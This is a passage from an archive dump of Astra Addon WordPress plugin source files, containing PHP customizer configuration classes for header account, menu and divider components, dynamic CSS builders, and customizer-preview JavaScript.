.ast-builder-menu-mobile .main-header-bar-navigation .toggled .astra-full-megamenu-wrapper, .ast-desktop-popup-content .ast-builder-menu-mobile .ast-submenu-expanded .astra-full-megamenu-wrapper { box-shadow: unset; opacity: 1; visibility: visible; transition: none; } .ast-desktop-header-content .ast-builder-menu-mobile .main-navigation .sub-menu .menu-item .menu-link, .ast-desktop-popup-content .ast-builder-menu-mobile .main-navigation .sub-menu .menu-item .menu-link { padding-left: 30px; } .ast-desktop-header-content .ast-builder-menu-mobile .main-navigation .sub-menu .menu-item .sub-menu .menu-link, .ast-desktop-popup-content .ast-builder-menu-mobile .main-navigation .sub-menu .menu-item .sub-menu .menu-link { padding-left: 40px; } .ast-desktop .main-header-menu > .menu-item .sub-menu:before, .ast-desktop .main-header-menu > .menu-item .astra-full-megamenu-wrapper:before { position: absolute; content: ""; top: 0; left: 0; width: 100%; transform: translateY(-100%); } .menu-toggle .ast-close-svg { display: none; } .menu-toggle.toggled .ast-mobile-svg { display: none; } .menu-toggle.toggled .ast-close-svg { display: block; } /** Desktop Off-Canvas CSS */ .ast-desktop .ast-mobile-popup-drawer .ast-mobile-popup-inner { max-width: 20%; } .ast-desktop .ast-mobile-popup-drawer.ast-mobile-popup-full-width .ast-mobile-popup-inner { width: 100%; max-width: 100%; } .ast-desktop .ast-mobile-popup-drawer .ast-mobile-popup-overlay { visibility: hidden; opacity: 0; } .ast-off-canvas-active body.ast-main-header-nav-open.ast-desktop { overflow: auto; } body.admin-bar.ast-desktop .ast-mobile-popup-drawer .ast-mobile-popup-inner { top: 32px; } /** Default Spacing for Mobile Header elements except Menu */ .ast-mobile-popup-content .ast-builder-layout-element:not(.ast-builder-menu):not(.ast-header-divider-element), .ast-desktop-popup-content .ast-builder-layout-element:not(.ast-builder-menu):not(.ast-header-divider-element), .ast-mobile-header-content .ast-builder-layout-element:not(.ast-builder-menu):not(.ast-header-divider-element), .ast-desktop-header-content .ast-builder-layout-element:not(.ast-builder-menu):not(.ast-header-divider-element) { padding: 15px 20px; } .ast-header-break-point .main-navigation .menu-link { border: 0; }'; if ( is_rtl() ) { $toggle_for_desktop_static_css .= ' /** Toggle on Desktop Feature */ .ast-desktop-header-content .ast-builder-menu-mobile .ast-builder-menu, .ast-desktop-popup-content .ast-builder-menu-mobile .ast-builder-menu { width: 100%; } .ast-desktop-header-content .ast-builder-menu-mobile .ast-main-header-bar-alignment, .ast-desktop-popup-content .ast-builder-menu-mobile .ast-main-header-bar-alignment { display: block; width: 100%; flex: auto; order: 4; } .ast-desktop-header-content .ast-builder-menu-mobile .main-header-bar-navigation, .ast-desktop-popup-content .ast-builder-menu-mobile .main-header-bar-navigation { width: 100%; margin: 0; line-height: 3; flex: auto; } .ast-desktop-header-content .ast-builder-menu-mobile .main-navigation, .ast-desktop-popup-content .ast-builder-menu-mobile .main-navigation { display: block; width: 100%; } .ast-desktop-header-content .ast-builder-menu-mobile .ast-flex.main-header-menu, .ast-desktop-popup-content .ast-builder-menu-mobile .ast-flex.main-header-menu { flex-wrap: wrap; } .ast-desktop-header-content .ast-builder-menu-mobile .main-header-menu, .ast-desktop-popup-content .ast-builder-menu-mobile .main-header-menu { border-top-width: 1px; border-style: solid; border-color: var(--ast-border-color); } .ast-desktop-header-content .ast-builder-menu-mobile .main-navigation li.menu-item, .ast-desktop-popup-content .ast-builder-menu-mobile .main-navigation li.menu-item { width: 100%; } .ast-desktop-header-content .ast-builder-menu-mobile .main-navigation .menu-item .menu-link, .ast-desktop-popup-content .ast-builder-menu-mobile .main-navigation .menu-item .menu-link { border-bottom-width: 1px; border-color: var(--ast-border-color); border-style: solid; } .ast-desktop-header-content .ast-builder-menu-mobile .main-navigation ul .menu-item .menu-link, .ast-desktop-popup-content .ast-builder-menu-mobile .main-navigation ul .menu-item .menu-link { padding: 0 20px; display: inline-block; width: 100%; border: 0; border-bottom-width: 1px; border-style: solid; border-color: var(--ast-border-color); } .ast-desktop-header-content .ast-builder-menu-mobile .main-header-bar-navigation .menu-item-has-children > .ast-menu-toggle, .ast-desktop-popup-content .ast-builder-menu-mobile .main-header-bar-navigation .menu-item-has-children > .ast-menu-toggle { display: inline-block; position: absolute; font-size: inherit; top: 0px; left: 20px; cursor: pointer; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; padding: 0 0.907em; font-weight: normal; line-height: inherit; transition: all .2s; } .ast-desktop-header-content .ast-builder-menu-mobile .main-header-bar-navigation .menu-item-has-children .sub-menu, .ast-desktop-popup-content .ast-builder-menu-mobile .main-header-bar-navigation .menu-item-has-children .sub-menu { display: none; } .ast-desktop-popup-content .ast-builder-menu-mobile .main-header-bar-navigation .toggled .menu-item-has-children .sub-menu { display: block; } .ast-desktop-header-content .ast-builder-menu-mobile .ast-nav-menu .sub-menu, .ast-desktop-popup-content .ast-builder-menu-mobile .ast-nav-menu .sub-menu { line-height: 3; } .ast-desktop-header-content .ast-builder-menu-mobile .submenu-with-border .sub-menu, .ast-desktop-popup-content .ast-builder-menu-mobile .submenu-with-border .sub-menu { border: 0; } .ast-desktop-header-content .ast-builder-menu-mobile .main-header-menu .sub-menu, .ast-desktop-popup-content .ast-builder-menu-mobile .main-header-menu .sub-menu { position: static; opacity: 1; visibility: visible; border: 0; width: auto; right: auto; left: auto; } .ast-desktop-header-content .ast-builder-menu-mobile .main-header-bar-navigation .menu-item-has-children > .menu-link:after, .ast-desktop-popup-content .ast-builder-menu-mobile .main-header-bar-navigation .menu-item-has-children > .menu-link:after { display: none; } .ast-desktop-header-content .ast-builder-menu-mobile .ast-submenu-expanded.menu-item .sub-menu, .ast-desktop-header-content .ast-builder-menu-mobile .main-header-bar-navigation .toggled .menu-item-has-children .sub-menu, .ast-desktop-popup-content .ast-builder-menu-mobile .ast-submenu-expanded.menu-item .sub-menu, .ast-desktop-popup-content .ast-builder-menu-mobile .main-header-bar-navigation .toggled .menu-item-has-children .sub-menu { box-shadow: unset; opacity: 1; visibility: visible; transition: none; } .ast-desktop-header-content .ast-builder-menu-mobile .main-navigation .sub-menu .menu-item .menu-link, .ast-desktop-popup-content .ast-builder-menu-mobile .main-navigation .sub-menu .menu-item .menu-link { padding-right: 30px; } .ast-desktop-header-content .ast-builder-menu-mobile .main-navigation .sub-menu .menu-item .sub-menu .menu-link, .ast-desktop-popup-content .ast-builder-menu-mobile .main-navigation .sub-menu .menu-item .sub-menu .menu-link { padding-right: 40px; } .ast-desktop .main-header-menu > .menu-item .sub-menu:before, .ast-desktop .main-header-menu > .menu-item .astra-full-megamenu-wrapper:before { position: absolute; content: ""; top: 0; right: 0; width: 100%; transform: translateY(-100%); } .menu-toggle .ast-close-svg { display: none; } .menu-toggle.toggled .ast-mobile-svg { display: none; } .menu-toggle.toggled .ast-close-svg { display: block; } /** Desktop Off-Canvas CSS */ .ast-desktop .ast-mobile-popup-drawer .ast-mobile-popup-inner { max-width: 20%; } .ast-desktop .ast-mobile-popup-drawer.ast-mobile-popup-full-width .ast-mobile-popup-inner { width: 100%; max-width: 100%; } .ast-desktop .ast-mobile-popup-drawer .ast-mobile-popup-overlay { visibility: hidden; opacity: 0; } .ast-off-canvas-active body.ast-main-header-nav-open.ast-desktop { overflow: auto; } body.admin-bar.ast-desktop .ast-mobile-popup-drawer .ast-mobile-popup-inner { top: 32px; } /** Default Spacing for Mobile Header elements except Menu */ .ast-mobile-popup-content .ast-builder-layout-element:not(.ast-builder-menu):not(.ast-header-divider-element), .ast-desktop-popup-content .ast-builder-layout-element:not(.ast-builder-menu):not(.ast-header-divider-element), .ast-mobile-header-content .ast-builder-layout-element:not(.ast-builder-menu):not(.ast-header-divider-element), .ast-desktop-header-content .ast-builder-layout-element:not(.ast-builder-menu):not(.ast-header-divider-element) { margin: 15px 20px; } .ast-header-break-point .main-navigation .menu-link { border: 0; }'; } return $toggle_for_desktop_static_css; } /** * Customizer Preview * * @since 3.3.0 */ public function preview_scripts() { /** * Load unminified if SCRIPT_DEBUG is true. */ /* Directory and Extension */ $dir_name = ( SCRIPT_DEBUG ) ? 'unminified' : 'minified'; $file_prefix = ( SCRIPT_DEBUG ) ? '' : '.min'; wp_enqueue_script( 'astra-addon-offcanvas-customizer-preview-js', ASTRA_ADDON_OFFCANVAS_URI . '/assets/js/' . $dir_name . '/customizer-preview' . $file_prefix . '.js', array( 'customize-preview', 'ahfb-addon-base-customizer-preview' ), ASTRA_EXT_VER, true ); } } /** * Kicking this off by creating the object of the class. */ new Astra_Addon_Offcanvas_Component_Loader(); builder/type/header/account/class-astra-ext-header-account-component.php 0000666 00000002135 15165730730 0022457 0 ustar 00 <?php /** * HTML component. * * @package Astra Builder * @link https://www.brainstormforce.com * @since Astra 3.0.0 */ if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly. } define( 'ASTRA_ADDON_EXT_HEADER_ACCOUNT_DIR', ASTRA_EXT_DIR . 'classes/builder/type/header/account/' ); /** * Heading Initial Setup * * @since 3.0.0 */ // @codingStandardsIgnoreStart class Astra_Ext_Header_Account_Component { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedClassFound // @codingStandardsIgnoreEnd /** * Constructor function that initializes required actions and hooks */ public function __construct() { // @codingStandardsIgnoreStart WPThemeReview.CoreFunctionality.FileInclude.FileIncludeFound require_once ASTRA_ADDON_EXT_HEADER_ACCOUNT_DIR . 'classes/class-astra-ext-header-account-component-loader.php'; // @codingStandardsIgnoreEnd WPThemeReview.CoreFunctionality.FileInclude.FileIncludeFound } } /** * Kicking this off by creating an object. */ new Astra_Ext_Header_Account_Component(); builder/type/header/account/class-astra-ext-header-account-component-configs.php 0000666 00000027456 15165730730 0024122 0 ustar 00 <?php /** * Astra Theme Customizer Configuration Builder. * * @package astra-builder * @link https://wpastra.com/ * @since 3.0.0 */ // No direct access, please. if ( ! defined( 'ABSPATH' ) ) { exit; } if ( ! class_exists( 'Astra_Customizer_Config_Base' ) ) { return; } /** * Register Builder Customizer Configurations. * * @since 3.0.0 */ // @codingStandardsIgnoreStart class Astra_Ext_Header_Account_Component_Configs extends Astra_Customizer_Config_Base { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedClassFound // @codingStandardsIgnoreEnd /** * Register Builder Customizer Configurations. * * @param Array $configurations Astra Customizer Configurations. * @param WP_Customize_Manager $wp_customize instance of WP_Customize_Manager. * @since 3.0.0 * @return Array Astra Customizer Configurations with updated configurations. */ public function register_configuration( $configurations, $wp_customize ) { $_section = 'section-header-account'; $account_choices = array( 'default' => __( 'Default', 'astra-addon' ), ); if ( class_exists( 'LifterLMS' ) && get_permalink( llms_get_page_id( 'myaccount' ) ) ) { $account_choices['lifterlms'] = __( 'LifterLMS', 'astra-addon' ); } if ( class_exists( 'WooCommerce' ) && get_permalink( get_option( 'woocommerce_myaccount_page_id' ) ) ) { $account_choices['woocommerce'] = __( 'WooCommerce', 'astra-addon' ); } $register_option = ''; if ( get_option( 'users_can_register' ) ) { $register_option = array( 'name' => ASTRA_THEME_SETTINGS . '[header-account-login-register]', 'default' => astra_get_option( 'header-account-login-register' ), 'type' => 'control', 'control' => Astra_Theme_Extension::$switch_control, 'section' => $_section, 'priority' => 205, 'title' => __( 'Register', 'astra-addon' ), 'context' => array( astra_addon_builder_helper()->general_tab_config, array( 'setting' => ASTRA_THEME_SETTINGS . '[header-account-logout-action]', 'operator' => '==', 'value' => 'login', ), array( 'setting' => ASTRA_THEME_SETTINGS . '[header-account-logout-style]', 'operator' => '!=', 'value' => 'none', ), ), 'partial' => array( 'selector' => '.ast-header-account', 'render_callback' => array( 'Astra_Builder_UI_Controller', 'render_account' ), ), 'transport' => 'postMessage', ); } $_configs = array( /** * Option: Profile Link type */ array( 'name' => ASTRA_THEME_SETTINGS . '[header-account-action-type]', 'default' => astra_get_option( 'header-account-action-type' ), 'type' => 'control', 'control' => Astra_Theme_Extension::$selector_control, 'section' => $_section, 'title' => __( 'Profile Action', 'astra-addon' ), 'priority' => 4, 'choices' => array( 'link' => __( 'Link', 'astra-addon' ), 'menu' => __( 'Menu', 'astra-addon' ), ), 'transport' => 'postMessage', 'partial' => array( 'selector' => '.ast-header-account', 'render_callback' => array( 'Astra_Builder_UI_Controller', 'render_account' ), ), 'responsive' => false, 'renderAs' => 'text', ), /** * Option: Profile Link type */ array( 'name' => ASTRA_THEME_SETTINGS . '[header-account-link-type]', 'default' => astra_get_option( 'header-account-link-type' ), 'type' => 'control', 'control' => 'ast-select', 'section' => $_section, 'priority' => 5, 'title' => __( 'Link Type', 'astra-addon' ), 'choices' => array( 'default' => __( 'Default', 'astra-addon' ), 'custom' => __( 'Custom', 'astra-addon' ), ), 'transport' => 'postMessage', 'partial' => array( 'selector' => '.ast-header-account', 'render_callback' => array( 'Astra_Builder_UI_Controller', 'render_account' ), ), 'context' => array( astra_addon_builder_helper()->general_tab_config, array( 'setting' => ASTRA_THEME_SETTINGS . '[header-account-type]', 'operator' => '!=', 'value' => 'default', ), array( 'setting' => ASTRA_THEME_SETTINGS . '[header-account-action-type]', 'operator' => '!=', 'value' => 'menu', ), ), ), array( 'name' => ASTRA_THEME_SETTINGS . '[header-account-woo-menu]', 'default' => astra_get_option( 'header-account-woo-menu' ), 'type' => 'control', 'control' => Astra_Theme_Extension::$switch_control, 'section' => $_section, 'priority' => 7, 'title' => __( 'Use WooCommerce Account Menu', 'astra-addon' ), 'context' => array( array( 'setting' => ASTRA_THEME_SETTINGS . '[header-account-type]', 'operator' => '==', 'value' => 'woocommerce', ), array( 'setting' => ASTRA_THEME_SETTINGS . '[header-account-action-type]', 'operator' => '==', 'value' => 'menu', ), astra_addon_builder_helper()->general_tab_config, ), 'partial' => array( 'selector' => '.ast-header-account', 'render_callback' => array( 'Astra_Builder_UI_Controller', 'render_account' ), ), 'transport' => 'postMessage', ), /** * Option: Theme Menu create link */ array( 'name' => ASTRA_THEME_SETTINGS . '[header-account-create-menu-link]', 'default' => astra_get_option( 'header-account-create-menu-link' ), 'type' => 'control', 'control' => 'ast-customizer-link', 'section' => $_section, 'link_type' => 'section', 'linked' => 'menu_locations', 'link_text' => __( 'Configure Menu from Here.', 'astra-addon' ), 'priority' => 7, 'context' => array( astra_addon_builder_helper()->general_tab_config, array( 'setting' => ASTRA_THEME_SETTINGS . '[header-account-action-type]', 'operator' => '==', 'value' => 'menu', ), ), ), array( 'name' => ASTRA_THEME_SETTINGS . '[header-account-menu-link-notice]', 'type' => 'control', 'control' => 'ast-description', 'section' => $_section, 'priority' => 7, 'label' => '', 'help' => $this->get_help_text_notice(), 'context' => array( astra_addon_builder_helper()->general_tab_config, array( 'setting' => ASTRA_THEME_SETTINGS . '[header-account-action-type]', 'operator' => '==', 'value' => 'menu', ), ), ), /** * Option: Click action type */ array( 'name' => ASTRA_THEME_SETTINGS . '[header-account-logout-action]', 'default' => astra_get_option( 'header-account-logout-action' ), 'type' => 'control', 'control' => Astra_Theme_Extension::$selector_control, 'section' => $_section, 'title' => __( 'Click Action', 'astra-addon' ), 'choices' => array( 'link' => __( 'Link', 'astra-addon' ), 'login' => __( 'Login Popup', 'astra-addon' ), ), 'transport' => 'postMessage', 'priority' => 204, 'context' => array( array( 'setting' => ASTRA_THEME_SETTINGS . '[header-account-logout-style]', 'operator' => '!=', 'value' => 'none', ), astra_addon_builder_helper()->general_tab_config, ), 'partial' => array( 'selector' => '.ast-header-account', 'render_callback' => array( 'Astra_Builder_UI_Controller', 'render_account' ), ), 'responsive' => false, 'renderAs' => 'text', 'divider' => array( 'ast_class' => 'ast-top-dotted-divider' ), ), $register_option, array( 'name' => ASTRA_THEME_SETTINGS . '[header-account-login-lostpass]', 'default' => astra_get_option( 'header-account-login-lostpass' ), 'type' => 'control', 'control' => Astra_Theme_Extension::$switch_control, 'section' => $_section, 'priority' => 205, 'title' => __( 'Lost your password?', 'astra-addon' ), 'divider' => array( 'ast_class' => 'ast-top-dotted-divider' ), 'context' => array( astra_addon_builder_helper()->general_tab_config, array( 'setting' => ASTRA_THEME_SETTINGS . '[header-account-logout-action]', 'operator' => '==', 'value' => 'login', ), array( 'setting' => ASTRA_THEME_SETTINGS . '[header-account-logout-style]', 'operator' => '!=', 'value' => 'none', ), ), 'partial' => array( 'selector' => '.ast-header-account', 'render_callback' => array( 'Astra_Builder_UI_Controller', 'render_account' ), ), 'transport' => 'postMessage', ), array( 'name' => ASTRA_THEME_SETTINGS . '[header-account-icon-type]', 'default' => astra_get_option( 'header-account-icon-type' ), 'type' => 'control', 'control' => Astra_Theme_Extension::$selector_control, 'section' => $_section, 'priority' => 3, 'title' => __( 'Select Icon', 'astra-addon' ), 'choices' => array( 'account-1' => 'account-1', 'account-2' => 'account-2', 'account-3' => 'account-3', 'account-4' => 'account-4', ), 'transport' => 'postMessage', 'partial' => array( 'selector' => '.ast-header-account', 'render_callback' => array( 'Astra_Builder_UI_Controller', 'render_account' ), ), 'context' => array( astra_addon_builder_helper()->design_tab_config, array( 'relation' => 'OR', array( 'setting' => ASTRA_THEME_SETTINGS . '[header-account-login-style]', 'operator' => '==', 'value' => 'icon', ), array( 'setting' => ASTRA_THEME_SETTINGS . '[header-account-logout-style]', 'operator' => '==', 'value' => 'icon', ), ), ), 'responsive' => false, 'divider' => array( 'ast_class' => 'ast-bottom-dotted-divider' ), ), ); if ( count( $account_choices ) > 1 ) { $_configs[] = array( 'name' => ASTRA_THEME_SETTINGS . '[header-account-type]', 'default' => astra_get_option( 'header-account-type' ), 'type' => 'control', 'control' => 'ast-select', 'divider' => array( 'ast_class' => 'ast-bottom-dotted-divider ast-section-spacing' ), 'section' => $_section, 'priority' => 1, 'title' => __( 'Select Account', 'astra-addon' ), 'choices' => $account_choices, 'transport' => 'postMessage', 'partial' => array( 'selector' => '.ast-header-account', 'render_callback' => array( 'Astra_Builder_UI_Controller', 'render_account' ), ), ); } $configurations = array_merge( $configurations, $_configs ); return $configurations; } /** * Help notice message to be displayed when the Link type set as Menu. * * @since 3.5.9 * @return String HTML Markup for the help notice. */ private function get_help_text_notice() { if ( class_exists( 'WooCommerce' ) ) { $notice = __( '<b>Note:</b> For responsive devices, the menu will be replaced with the WooCommerce "My Account" link.', 'astra-addon' ); } elseif ( class_exists( 'LifterLMS' ) ) { $notice = __( '<b>Note:</b> For responsive devices, the menu will be replaced with the LifterLMS "My Account" link.', 'astra-addon' ); } else { $notice = __( '<b>Note:</b> For responsive devices, the menu will be replaced with the Link provided in the Link Tab.', 'astra-addon' ); } return $notice; } } /** * Kicking this off by creating object of this class. */ new Astra_Ext_Header_Account_Component_Configs(); builder/type/header/account/classes/class-astra-ext-header-account-component-loader.php 0000666 00000002121 15165730730 0025353 0 ustar 00 <?php /** * Account Styling Loader for Astra theme. * * @package Astra Builder * @link https://www.brainstormforce.com * @since Astra 3.0.0 */ if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly. } /** * Customizer Initialization * * @since 3.0.0 */ // @codingStandardsIgnoreStart class Astra_Ext_Header_Account_Component_Loader { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedClassFound // @codingStandardsIgnoreEnd /** * Constructor * * @since 3.0.0 */ public function __construct() { add_filter( 'astra_theme_defaults', array( $this, 'theme_defaults' ) ); } /** * Default customizer configs. * * @param array $defaults Astra options default value array. * * @since 3.0.0 */ public function theme_defaults( $defaults ) { // Account header defaults. $defaults['header-account-icon-type'] = 'account-1'; return $defaults; } } /** * Kicking this off by creating the object of the class. */ new Astra_Ext_Header_Account_Component_Loader(); builder/type/header/menu/assets/js/unminified/customizer-preview.js 0000666 00000001764 15165730730 0021660 0 ustar 00 /** * This file adds some LIVE to the Customizer live preview. To leverage * this, set your custom settings to 'postMessage' and then add your handling * here. Your javascript should grab settings from customizer controls, and * then make any necessary changes to the page using jQuery. * * @package Astra Addon * @since x.x.x */ ( function( $ ) { for ( var index = 1; index <= AstraAddonMenuData.component_limit; index++ ) { /** * Box Shadow */ (function (index) { var selector = '.ast-desktop .ast-mega-menu-enabled .ast-builder-menu-' + index + ' div:not( .astra-full-megamenu-wrapper) .sub-menu, .ast-builder-menu-' + index + ' .inline-on-mobile .sub-menu, .ast-desktop .ast-builder-menu-' + index + ' .astra-full-megamenu-wrapper, .ast-desktop .ast-builder-menu-' + index + ' .menu-item .sub-menu'; // Box Shadow CSS Generation. astra_addon_box_shadow_css( 'header-menu' + index, selector ); })(index); } } )( jQuery ); builder/type/header/menu/assets/js/minified/customizer-preview.min.js 0000666 00000000631 15165730730 0022067 0 ustar 00 !function(){for(var e=1;e<=AstraAddonMenuData.component_limit;e++)astra_addon_box_shadow_css("header-menu"+e,".ast-desktop .ast-mega-menu-enabled .ast-builder-menu-"+e+" div:not( .astra-full-megamenu-wrapper) .sub-menu, .ast-builder-menu-"+e+" .inline-on-mobile .sub-menu, .ast-desktop .ast-builder-menu-"+e+" .astra-full-megamenu-wrapper, .ast-desktop .ast-builder-menu-"+e+" .menu-item .sub-menu")}(jQuery); builder/type/header/menu/class-astra-addon-header-menu-component.php 0000666 00000002232 15165730730 0021562 0 ustar 00 <?php /** * Menu Element. * * @package Astra Addon * @link https://www.brainstormforce.com * @since Astra 3.3.0 */ if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly. } define( 'ASTRA_ADDON_HEADER_MENU_DIR', ASTRA_EXT_DIR . 'classes/builder/type/header/menu/' ); define( 'ASTRA_ADDON_HEADER_MENU_URI', ASTRA_EXT_URI . 'classes/builder/type/header/menu/' ); /** * Menu Initial Setup * * @since 3.3.0 */ class Astra_Addon_Header_Menu_Component { /** * Constructor function that initializes required actions and hooks */ public function __construct() { // @codingStandardsIgnoreStart WPThemeReview.CoreFunctionality.FileInclude.FileIncludeFound require_once ASTRA_ADDON_HEADER_MENU_DIR . 'classes/class-astra-addon-header-menu-component-loader.php'; // Include front end files. if ( ! is_admin() ) { require_once ASTRA_ADDON_HEADER_MENU_DIR . 'dynamic-css/dynamic.css.php'; } // @codingStandardsIgnoreEnd WPThemeReview.CoreFunctionality.FileInclude.FileIncludeFound } } /** * Kicking this off by creating an object. */ new Astra_Addon_Header_Menu_Component(); builder/type/header/menu/classes/class-astra-addon-header-menu-component-loader.php 0000666 00000004324 15165730731 0024470 0 ustar 00 <?php /** * Menu Styling Loader for Astra Addon. * * @package Astra Addon * @link https://www.brainstormforce.com * @since Astra 3.3.0 */ if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly. } /** * Customizer Initialization * * @since 3.3.0 */ class Astra_Addon_Header_Menu_Component_Loader { /** * Constructor * * @since 3.3.0 */ public function __construct() { add_filter( 'astra_theme_defaults', array( $this, 'theme_defaults' ) ); add_action( 'customize_preview_init', array( $this, 'preview_scripts' ), 110 ); } /** * Default customizer configs. * * @param array $defaults Astra options default value array. * * @since 3.3.0 */ public function theme_defaults( $defaults ) { // Menu - Box Shadow defaults. $component_limit = astra_addon_builder_helper()->component_limit; for ( $index = 1; $index <= $component_limit; $index++ ) { $_prefix = 'menu' . $index; $defaults[ 'header-' . $_prefix . '-box-shadow-control' ] = array( 'x' => '0', 'y' => '4', 'blur' => '10', 'spread' => '-2', ); $defaults[ 'header-' . $_prefix . '-box-shadow-color' ] = 'rgba(0,0,0,0.1)'; $defaults[ 'header-' . $_prefix . '-box-shadow-position' ] = 'outline'; } return $defaults; } /** * Customizer Preview * * @since 3.3.0 */ public function preview_scripts() { /** * Load unminified if SCRIPT_DEBUG is true. */ $dir_name = ( SCRIPT_DEBUG ) ? 'unminified' : 'minified'; $file_prefix = ( SCRIPT_DEBUG ) ? '' : '.min'; wp_enqueue_script( 'astra-ext-header-menu-customizer-preview-js', ASTRA_ADDON_HEADER_MENU_URI . '/assets/js/' . $dir_name . '/customizer-preview' . $file_prefix . '.js', array( 'customize-preview', 'astra-addon-customizer-preview-js' ), ASTRA_EXT_VER, true ); // Localize variables for menu JS. wp_localize_script( 'astra-ext-header-menu-customizer-preview-js', 'AstraAddonMenuData', array( 'component_limit' => astra_addon_builder_helper()->component_limit, ) ); } } /** * Kicking this off by creating the object of the class. */ new Astra_Addon_Header_Menu_Component_Loader(); builder/type/header/menu/class-astra-addon-header-menu-component-configs.php 0000666 00000002730 15165730731 0023214 0 ustar 00 <?php /** * Astra Addon Customizer Configuration for Menu. * * @package Astra Addon * @link https://wpastra.com/ * @since 3.3.0 */ // No direct access, please. if ( ! defined( 'ABSPATH' ) ) { exit; } /** * Register Builder Customizer Configurations. * * @since 3.3.0 */ class Astra_Addon_Header_Menu_Component_Configs extends Astra_Customizer_Config_Base { /** * Register Builder Customizer Configurations. * * @param Array $configurations Astra Customizer Configurations. * @param WP_Customize_Manager $wp_customize instance of WP_Customize_Manager. * @since 3.3.0 * @return Array Astra Customizer Configurations with updated configurations. */ public function register_configuration( $configurations, $wp_customize ) { $html_config = array(); $component_limit = astra_addon_builder_helper()->component_limit; for ( $index = 1; $index <= $component_limit; $index++ ) { $_section = 'section-hb-menu-' . $index; $_prefix = 'menu' . $index; $html_config[] = Astra_Addon_Base_Configs::prepare_box_shadow_tab( $_section, 'header-' . $_prefix, 100 ); } $html_config = call_user_func_array( 'array_merge', $html_config + array( array() ) ); $configurations = array_merge( $configurations, $html_config ); return $configurations; } } /** * Kicking this off by creating object of this class. */ new Astra_Addon_Header_Menu_Component_Configs(); builder/type/header/menu/dynamic-css/dynamic.css.php 0000666 00000002565 15165730731 0016531 0 ustar 00 <?php /** * Menu Element - Dynamic CSS * * @package Astra Addon * @since 3.3.0 */ if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly. } /** * Menu Box - Dynamic CSS */ add_filter( 'astra_dynamic_theme_css', 'astra_addon_header_menu_dynamic_css' ); /** * Dynamic CSS * * @param string $dynamic_css Astra Dynamic CSS. * @param string $dynamic_css_filtered Astra Dynamic CSS Filters. * @return String Generated dynamic CSS for Heading Colors. * * @since 3.3.0 */ function astra_addon_header_menu_dynamic_css( $dynamic_css, $dynamic_css_filtered = '' ) { $component_limit = astra_addon_builder_helper()->component_limit; for ( $index = 1; $index <= $component_limit; $index++ ) { if ( ! Astra_Addon_Builder_Helper::is_component_loaded( 'menu-' . $index, 'header' ) ) { continue; } $_prefix = 'menu' . $index; $selector = '.ast-desktop .ast-mega-menu-enabled .ast-builder-menu-' . $index . ' div:not( .astra-full-megamenu-wrapper) .sub-menu, .ast-builder-menu-' . $index . ' .inline-on-mobile .sub-menu, .ast-desktop .ast-builder-menu-' . $index . ' .astra-full-megamenu-wrapper, .ast-desktop .ast-builder-menu-' . $index . ' .menu-item .sub-menu'; $dynamic_css .= Astra_Addon_Base_Dynamic_CSS::prepare_box_shadow_dynamic_css( 'header-' . $_prefix, $selector ); } return $dynamic_css; } builder/type/base/configurations/class-astra-divider-component-configs.php 0000666 00000032163 15165730731 0023140 0 ustar 00 <?php /** * Astra Theme Customizer Configuration Builder. * * @package astra-builder * @link https://wpastra.com/ * @since 3.0.0 */ // No direct access, please. if ( ! defined( 'ABSPATH' ) ) { exit; } // Bail if Customizer config divider base class is already present. if ( class_exists( 'Astra_Divider_Component_Configs' ) ) { return; } /** * Register Builder Customizer Configurations. * * @since 3.0.0 */ // @codingStandardsIgnoreStart class Astra_Divider_Component_Configs { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedClassFound // @codingStandardsIgnoreEnd /** * Register Builder Customizer Configurations. * * @param Array $configurations Configurations. * @param string $builder_type Builder Type. * @param string $section Section. * * @since 3.0.0 * @return Array Astra Customizer Configurations with updated configurations. */ public static function register_configuration( $configurations, $builder_type = 'header', $section = 'section-hb-divider-' ) { $divider_config = array(); if ( 'footer' === $builder_type ) { $class_obj = Astra_Addon_Builder_Footer::get_instance(); $number_of_divider = astra_addon_builder_helper()->num_of_footer_divider; $divider_size_layout = 'horizontal'; } else { $class_obj = Astra_Addon_Builder_Header::get_instance(); $number_of_divider = astra_addon_builder_helper()->num_of_header_divider; $divider_size_layout = 'vertical'; } $component_limit = astra_addon_builder_helper()->component_limit; for ( $index = 1; $index <= $component_limit; $index++ ) { $_section = $section . $index; $_prefix = 'divider' . $index; /** * These options are related to Header Section - divider. * Prefix hs represents - Header Section. */ $_configs = array( /** * Option: Header Builder Tabs */ array( 'name' => $_section . '-ast-context-tabs', 'section' => $_section, 'type' => 'control', 'control' => 'ast-builder-header-control', 'priority' => 0, 'description' => '', ), /* * Header Builder section - divider Component Configs. */ array( 'name' => $_section, 'type' => 'section', 'priority' => 50, /* translators: %s Index */ 'title' => ( 1 === $number_of_divider ) ? __( 'Divider', 'astra-addon' ) : sprintf( __( 'Divider %s', 'astra-addon' ), $index ), 'panel' => 'panel-' . $builder_type . '-builder-group', 'clone_index' => $index, 'clone_type' => $builder_type . '-divider', ), /** * Option: Position */ array( 'name' => ASTRA_THEME_SETTINGS . '[' . $builder_type . '-divider-' . $index . '-layout]', 'default' => astra_get_option( $builder_type . '-divider-' . $index . '-layout' ), 'type' => 'control', 'control' => Astra_Theme_Extension::$selector_control, 'section' => $_section, 'priority' => 30, 'title' => __( 'Layout', 'astra-addon' ), 'choices' => array( 'horizontal' => __( 'Horizontal', 'astra-addon' ), 'vertical' => __( 'Vertical', 'astra-addon' ), ), 'transport' => 'postMessage', 'partial' => array( 'selector' => '.ast-' . $builder_type . '-divider-' . $index, 'render_callback' => array( $class_obj, $builder_type . '_divider_' . $index ), ), 'responsive' => false, 'renderAs' => 'text', 'divider' => array( 'ast_class' => 'ast-section-spacing' ), ), // Vertical divider notice. array( 'name' => ASTRA_THEME_SETTINGS . '[' . $builder_type . '-divider-' . $index . '-description]', 'type' => 'control', 'control' => 'ast-description', 'section' => $_section, 'priority' => 30, 'label' => '', /* translators: %1$s builder type param */ 'help' => sprintf( __( 'If the Divider don\'t seem to be visible 